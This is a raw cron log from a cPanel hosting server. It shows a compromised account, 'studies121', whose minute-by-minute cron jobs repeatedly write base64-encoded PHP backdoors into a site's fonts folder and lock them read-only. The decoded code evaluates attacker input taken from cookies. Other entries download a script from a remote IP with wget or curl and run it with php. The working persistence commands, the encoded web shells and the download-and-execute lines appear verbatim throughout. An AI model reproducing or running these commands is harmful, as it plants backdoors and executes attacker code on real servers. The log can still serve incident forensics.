Sep  7 03:10:01 ip-184-168-122-23 CROND[3990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:10:01 ip-184-168-122-23 CROND[3993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:10:01 ip-184-168-122-23 CROND[3995]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:10:01 ip-184-168-122-23 CROND[3996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:10:01 ip-184-168-122-23 CROND[3997]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:10:01 ip-184-168-122-23 CROND[4000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:11:01 ip-184-168-122-23 CROND[4375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:11:01 ip-184-168-122-23 CROND[4377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:11:01 ip-184-168-122-23 CROND[4378]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:11:01 ip-184-168-122-23 CROND[4376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:12:01 ip-184-168-122-23 CROND[4461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:12:01 ip-184-168-122-23 CROND[4465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:12:01 ip-184-168-122-23 CROND[4463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:12:01 ip-184-168-122-23 CROND[4464]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:12:01 ip-184-168-122-23 CROND[4466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:13:01 ip-184-168-122-23 CROND[4550]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:13:01 ip-184-168-122-23 CROND[4552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:13:01 ip-184-168-122-23 CROND[4553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:13:01 ip-184-168-122-23 CROND[4554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:14:01 ip-184-168-122-23 CROND[4721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:14:01 ip-184-168-122-23 CROND[4724]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:14:01 ip-184-168-122-23 CROND[4726]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:14:01 ip-184-168-122-23 CROND[4723]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:14:01 ip-184-168-122-23 CROND[4725]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:15:01 ip-184-168-122-23 CROND[4834]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:15:01 ip-184-168-122-23 CROND[4835]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:15:01 ip-184-168-122-23 CROND[4837]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:15:01 ip-184-168-122-23 CROND[4838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:15:01 ip-184-168-122-23 CROND[4843]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:15:01 ip-184-168-122-23 CROND[4842]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:16:01 ip-184-168-122-23 CROND[5187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:16:01 ip-184-168-122-23 CROND[5188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:16:01 ip-184-168-122-23 CROND[5189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:16:01 ip-184-168-122-23 CROND[5193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:16:01 ip-184-168-122-23 CROND[5192]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 03:16:01 ip-184-168-122-23 CROND[5195]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:17:01 ip-184-168-122-23 CROND[5288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:17:01 ip-184-168-122-23 CROND[5290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:17:01 ip-184-168-122-23 CROND[5289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:17:01 ip-184-168-122-23 CROND[5291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:18:01 ip-184-168-122-23 CROND[5368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:18:01 ip-184-168-122-23 CROND[5372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:18:01 ip-184-168-122-23 CROND[5371]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:18:01 ip-184-168-122-23 CROND[5370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:18:01 ip-184-168-122-23 CROND[5373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:19:01 ip-184-168-122-23 CROND[5460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:19:01 ip-184-168-122-23 CROND[5463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:19:01 ip-184-168-122-23 CROND[5464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:19:01 ip-184-168-122-23 CROND[5462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:20:01 ip-184-168-122-23 CROND[5623]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 03:20:01 ip-184-168-122-23 CROND[5625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:20:01 ip-184-168-122-23 CROND[5627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:20:01 ip-184-168-122-23 CROND[5628]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 03:20:01 ip-184-168-122-23 CROND[5629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:20:01 ip-184-168-122-23 CROND[5632]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 03:20:01 ip-184-168-122-23 CROND[5631]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 03:20:01 ip-184-168-122-23 CROND[5633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:20:01 ip-184-168-122-23 CROND[5626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 03:21:01 ip-184-168-122-23 CROND[5742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 03:21:01 ip-184-168-122-23 CROND[5744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 03:21:01 ip-184-168-122-23 CROND[5745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 03:21:01 ip-184-168-122-23 CROND[5747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 03:22:01 ip-184-168-122-23 CROND[5824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
